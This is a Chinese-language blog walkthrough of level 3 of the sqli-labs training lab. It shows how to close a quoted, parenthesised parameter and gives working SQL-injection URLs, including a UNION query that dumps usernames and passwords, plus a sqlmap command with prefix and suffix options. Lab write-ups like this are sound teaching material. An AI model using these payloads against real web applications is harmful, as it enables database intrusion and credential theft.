sqli-labs系列——第三关

判断注入类型

这第三关有点意思,是一个带括号的数字型注入,这里需要闭合它的括号,之前遇到过很多这样的站,它的sql语句一般都是这样的:

$sql = select * from user where id=('$id');

看一下输入’后的信息,能够判断出这是一个数字型注入:

此时的sql语句应为:

select * from user where id=('1''); 

在这里插入图片描述
后边在给它注释一下,还是不行,但是参数已经传进去了:

sql语句:

select * from user where id=('1'%23'); 

在这里插入图片描述
在加一个)来闭合前边的括号:

http://192.168.1.113:86/Less-3/?id=1')%23

此时的sql语句:

select * from user where id=('1’)%23'); 

在这里插入图片描述
那么接下来的思路就有了:

-id')<payload>%23

开始注入

根据上文的分析,在payload处加上我们的exp,成功爆出后台账号密码:

http://192.168.1.113:86/Less-3/?id=-1') union SELECT 1,2,(select group_concat(username,0x3a,password) from users)%23

在这里插入图片描述

后记

这里如果想要用sqlmap跑,需要加 --prefix 和 --suffix这两个参数,例如:

sqlmap -u "http://192.168.1.113:86/Less-3/?id=1" --prefix "')" --suffix "%23"

当然我们要具体情况具体分析怎样去闭合还是得看回显的信息,看一下运行结果:
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/qq_43573676/article/details/105762578